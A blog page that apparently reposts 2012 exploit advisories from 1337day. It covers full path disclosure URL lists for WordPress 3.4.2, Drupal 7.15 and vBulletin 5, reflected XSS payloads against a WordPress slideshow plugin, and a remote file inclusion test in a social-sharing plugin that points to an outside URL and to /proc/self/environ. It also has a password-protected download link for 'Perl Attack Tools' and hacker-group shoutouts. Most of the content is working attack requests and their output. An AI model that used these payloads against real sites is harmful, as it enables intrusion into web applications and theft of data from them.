Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 16
Warning: require_once(ABSPATHwp-admin/includes/admin.php) [function.require-once]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 16
Fatal error: require_once() [function.require]: Failed opening required 'ABSPATHwp-admin/includes/admin.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 16
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/update.php

Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\update.php on line 113
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/update-core.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\update-core.php on line 716
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/theme-install.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\theme-install.php on line 117
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/template.php

Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\template.php on line 23
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/schema.php

Fatal error: Call to undefined function is_multisite() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\schema.php on line 50
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/plugin.php

Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\plugin.php on line 1677
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/plugin-install.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\plugin-install.php on line 111
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/nav-menu.php

Fatal error: Class 'Walker_Nav_Menu' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\nav-menu.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/ms.php

Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\ms.php on line 44
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/misc.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\misc.php on line 210
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/menu.php
Fatal error: Call to undefined function is_network_admin() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\menu.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/media.php

Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\media.php on line 57
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\list-table.php on line 77
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/file.php

Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\file.php on line 11
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/dashboard.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\dashboard.php on line 1133
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/continents-cities.php

Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\continents-cities.php on line 7
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-users-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-users-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-themes-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-themes-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-theme-install-list-table.php

Fatal error: Class 'WP_Themes_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-theme-install-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-terms-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-terms-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-posts-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-posts-list-table.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-plugins-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-plugins-list-table.php on line 10

====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-plugin-install-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-plugin-install-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-ms-users-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-ms-users-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-ms-themes-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-ms-themes-list-table.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-ms-sites-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-ms-sites-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-media-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-media-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-links-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-links-list-table.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ssh2.php
Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-ssh2.php on line 43
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpsockets.php

Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-ftpsockets.php on line 17
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-ftpext.php

Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-ftpext.php on line 17
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-filesystem-direct.php

Fatal error: Class 'WP_Filesystem_Base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-filesystem-direct.php on line 17
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-wp-comments-list-table.php

Fatal error: Class 'WP_List_Table' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-wp-comments-list-table.php on line 18
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-ftp-sockets.php

Fatal error: Class 'ftp_base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-ftp-sockets.php on line 28
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/class-ftp-pure.php

Fatal error: Class 'ftp_base' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\class-ftp-pure.php on line 28
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/includes/admin.php

Fatal error: Call to undefined function load_textdomain() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\admin.php on line 13
====================================================
http://192.168.0.15/learn/t/wordpress/wp-admin/admin-functions.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\admin-functions.php on line 12
====================THE END==========================

SHOUTZ AND GREAT THANKS TO ALL MY FRIENDS:
===========================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
exploit-db.com
to all AA Team + to all Azerbaijan Black HatZ +
         *Especially to my bro CAMOUFL4G3.*
===========================================================
/AkaStep

WordPress 3.4.2 User Enumeration / Path Disclosure

By: MIN Software on: 3:16 AM

Friday, December 21, 2012

Perl Attack Tools | Juno_okyo's Blog | http://junookyo.blogspot.com/

Download: http://www.mediafire.com/?oae19g9qi3krcoe

Password: junookyo

Perl Attack Tools

By: MIN Software on: 7:04 PM

Tuesday, December 18, 2012

/core/vb5/route/channel.php
/core/vb5/route/conversation.php
/core/vb5/route/*.php
/includes/api/interface/noncollapsed.php
/includes/api/interface/collapsed.php
# 1337day.com [2012-12-18]

vBulletin 5 Multiple Full Path Disclosure vulnerabilities

By: MIN Software on: 7:28 AM

Tuesday, November 27, 2012

============================================================
Vulnerable Software: Drupal 7.15
Downloaded from: http://ftp.drupal.org/files/projects/drupal-7.15.tar.gz
Vuln Type: Path Disclosure
============================================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL:  5.5.27
============================================================
 
Drupal 7.15 is vulnerable to Path Disclosure.
 
My installation PATH is:
C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\
 
 
Try Direct access and it will expose such information:
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.bare.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.bare.database.php on line 17
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.comments.database.php
 
Fatal error: Call to undefined function db_update() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.comments.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.filled.database.php
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.filled.database.php on line 26
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.forum.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.forum.database.php on line 7
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.locale.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.locale.database.php on line 7
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.menu.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.menu.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.node_type_broken.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.node_type_broken.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.translatable.database.php
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.translatable.database.php on line 7
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.trigger.database.php
 
 
Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.trigger.database.php on line 6
 
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.upload.database.php
 
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.upload.database.php on line 3
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-no-password-token.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-no-password-token.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-password-token.database.php
 
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-password-token.database.php on line 2
 
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.field.database.php
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.field.database.php on line 8
=========================================================================================
 
http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.trigger.database.php
 
Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.trigger.database.php on line 8
 
==========================NO ONE AND NOTHING IS IDEAL======================================
 
/AkaStep
 
 
 
# 1337day.com [2012-11-27]

Drupal 7.15 Path Disclosure Vulnerability

By: MIN Software on: 1:23 PM

Thursday, October 18, 2012


Author: Janek Vind "waraxe"
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-93.html
Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also
enables you to Automatically Publish or Self Publish your Blog Posts to 25+
Networks.
http://wordpress.org/extend/plugins/social-discussions/
Affected version: 6.1.1
###############################################################################
1. Remote File Inclusion in "social-discussions-networkpub_ajax.php"
###############################################################################
Reasons: Uninitialized variable "$HTTP_ENV_VARS"
Attack vectors: User-supplied parameter "HTTP_ENV_VARS"
Preconditions:
1. register_globals=on
2. register_long_arrays=off
3. allow_url_include=on for RFI if PHP >= 5.2.0
4. PHP must be < 5.3.4 for LFI null-byte attacks
5. magic_quotes_gpc=off for LFI null-byte attacks
Php script "social-discussions-networkpub_ajax.php" line 2:
------------------------[ source code start ]----------------------------------
if (!function_exists('add_action')){
@include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php");
------------------------[ source code end ]------------------------------------
We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized
and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive
"register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in
same time "register_globals=on", it is possible to fill that array with any
value, leading to the RFI (Remote File Inclusion) vulnerability.
Tests:
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/?
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environz
###############################################################################
2. Full Path Disclosure in multiple scripts
###############################################################################
Reasons: Direct request to php script triggers pathname leak in error message
Preconditions: PHP directive display_errors=on
Result: Information Exposure Through an Error Message
Tests:
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php
Fatal error: Call to undefined function __() in
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php
Fatal error: Call to undefined function __() in
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2
http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php
Fatal error: Call to undefined function __() in
C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3
 
 
# 1337day.com [2012-10-18]

Wordpress Social Discussions 6.1.1 File Inclusion / Path Disclosure

By: MIN Software on: 5:26 AM 

Author: Janek Vind "waraxe"
Date: 17. October 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-92.html
Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Slideshow provides an easy way to integrate a slideshow for any WordPress
installation.
Any image can be loaded into the slideshow by picking it from the WordPress
media page, even images you've already uploaded can be inserted into your
slideshow right away!
http://wordpress.org/extend/plugins/slideshow-jquery-image-gallery/
Affected version: 2.1.12
###############################################################################
1. Reflected XSS in "views/SlideshowPlugin/slideshow.php"
###############################################################################
Reasons:
1. Uninitialized variables "$randomId", "$slides" and "$settings"
2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "randomId", "slides" and "settings"
Preconditions: PHP directive register_globals=on
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId="><script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?settings=<body+onload='alert(123)'>
###############################################################################
2. Reflected XSS in "views/SlideshowPluginPostType/settings.php"
###############################################################################
Reasons:
1. Uninitialized variables "$settings" and "$inputFields"
2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "settings" and "inputFields"
Preconditions: PHP directive register_globals=on
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[0][]&inputFields[0]=<script>alert(123);</script>
###############################################################################
3. Reflected XSS in "views/SlideshowPluginPostType/style-settings.php"
###############################################################################
Reasons:
1. Uninitialized variables "$settings" and "$inputFields"
2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "settings" and "inputFields"
Preconditions: PHP directive register_globals=on
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0][3]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=<script>alert(123);</script>
###############################################################################
4. Full Path Disclosure in multiple scripts
###############################################################################
Reasons: Direct request to php script triggers pathname leak in error message
Preconditions: PHP directive display_errors=on
Result: Information Exposure Through an Error Message
Tests:
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/slideshow.php
Fatal error: Call to undefined function add_action() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\slideshow.php on line 34
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/classes/SlideshowPluginWidget.php
Fatal error: Class 'WP_Widget' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\classes\SlideshowPluginWidget.php on line 8
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php
Fatal error: Class 'SlideshowPluginMain' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPlugin\slideshow.php on line 111
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/information.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\information.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php
Warning: Invalid argument supplied for foreach() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\settings.php on line 3
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/slides.php
Fatal error: Class 'SlideshowPluginSlideInserter' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\slides.php on line 3
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php
Warning: Invalid argument supplied for foreach() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\style-settings.php on line 2
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/support-plugin.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\support-plugin.php on line 3
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-image-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-image-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-text-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-text-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-video-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-video-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/search-popup.php
Fatal error: Call to undefined function submit_button() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\search-popup.php on line 6
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginUpload/upload-button.php
Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginUpload\upload-button.php on line 1
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginWidget/form.php
Fatal error: Using $this when not in object context in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginWidget\form.php on line 2
 
 
# 1337day.com [2012-10-18]

WordPress Slideshow 2.1.12 Cross Site Scripting / Path Disclosure

By: MIN Software on: 5:22 AM
Subscribe to: Posts (Atom)

 

Our Team Members

Copyright © hacker va bao mat | Designed by Templateism.com | WPResearcher.com